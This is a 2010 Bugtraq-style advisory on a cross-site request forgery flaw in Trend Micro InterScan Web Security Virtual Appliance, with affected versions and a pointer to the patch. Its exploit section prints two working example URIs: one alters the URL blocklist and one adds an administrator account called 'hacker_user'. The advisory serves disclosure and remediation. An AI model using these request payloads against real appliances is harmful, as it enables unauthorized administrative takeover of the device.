Trend Micro InterScan Web Security Virtual Appliance Cross Site Request Forgery Vulnerability

Bugtraq ID:	41039
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 22 2010 12:00AM
Updated:	Jun 28 2010 05:58PM
Credit:	Eric Beaulieu
Vulnerable:	Trend Micro InterScan Web Security Virtual Appliance 0
Not Vulnerable:	Trend Micro InterScan Web Security Virtual Appliance Patch 1386

Trend Micro InterScan Web Security Virtual Appliance Cross Site Request Forgery Vulnerability

Trend Micro InterScan Web Security Virtual Appliance is prone to a cross-site request-forgery vulnerability.

Attackers can exploit this issue to perform certain administrative actions and gain unauthorized access to the affected device.

Firmware versions prior to Trend Micro InterScan Web Security Virtual Appliance Critical Build 1386 are vulnerable.

Trend Micro InterScan Web Security Virtual Appliance Cross Site Request Forgery Vulnerability

To exploit the issue, an attacker must entice a user into visiting a malicious URI.

the following example URIs are available:

http://www.example.com:1812/servlet/com.trend.iwss.gui.servlet.urllistset?op=urlblock&fromurl=%2Furlblocking.jsp&daemonaction=2&urlb_enable_view=on&URL_blocking__enable=yes
&oldurlbscan=yes&url_input=&url_type=website&importedfile=&blocklist= www.shinken-monitoring.org*

Add a new administrator account :

http://www.example.com:1812/login_account_add_modify.jsp?op=add&userid=hacker_user&password_changed=true&PASS1=mypassword&PASS2=mypassword&desc=My_Hacker_user_account&acces
s_rights=admin

Trend Micro InterScan Web Security Virtual Appliance Cross Site Request Forgery Vulnerability

Solution:
Updates are available. Please see the references for more information.

Trend Micro InterScan Web Security Virtual Appliance Cross Site Request Forgery Vulnerability

References:

• InterScan Web Security Virtual Appliance - Cross-site request forgery (Eric Beaulieu)
  
• Trend Micro Homepage (Trend Micro)